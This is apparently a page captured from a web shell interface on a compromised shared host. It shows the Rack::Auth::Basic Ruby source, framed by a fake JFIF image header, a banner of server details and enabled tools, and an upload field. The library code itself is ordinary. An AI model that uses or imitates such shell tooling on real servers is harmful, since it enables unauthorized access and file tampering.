????JFIF??x?x????'
| Server IP : 104.21.30.238  /  Your IP : 216.73.216.83 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /proc/thread-self/./root/opt/alt/ruby31/share/gems/gems/rack-3.0.8/lib/rack/auth/ | 
| Upload File : | 
# frozen_string_literal: true
require_relative 'abstract/handler'
require_relative 'abstract/request'
require 'base64'
module Rack
  module Auth
    # Rack::Auth::Basic implements HTTP Basic Authentication, as per RFC 2617.
    #
    # Initialize with the Rack application that you want protecting,
    # and a block that checks if a username and password pair are valid.
    class Basic < AbstractHandler
      def call(env)
        auth = Basic::Request.new(env)
        return unauthorized unless auth.provided?
        return bad_request unless auth.basic?
        if valid?(auth)
          env['REMOTE_USER'] = auth.username
          return @app.call(env)
        end
        unauthorized
      end
      private
      def challenge
        'Basic realm="%s"' % realm
      end
      def valid?(auth)
        @authenticator.call(*auth.credentials)
      end
      class Request < Auth::AbstractRequest
        def basic?
          "basic" == scheme && credentials.length == 2
        end
        def credentials
          @credentials ||= Base64.decode64(params).split(':', 2)
        end
        def username
          credentials.first
        end
      end
    end
  end
end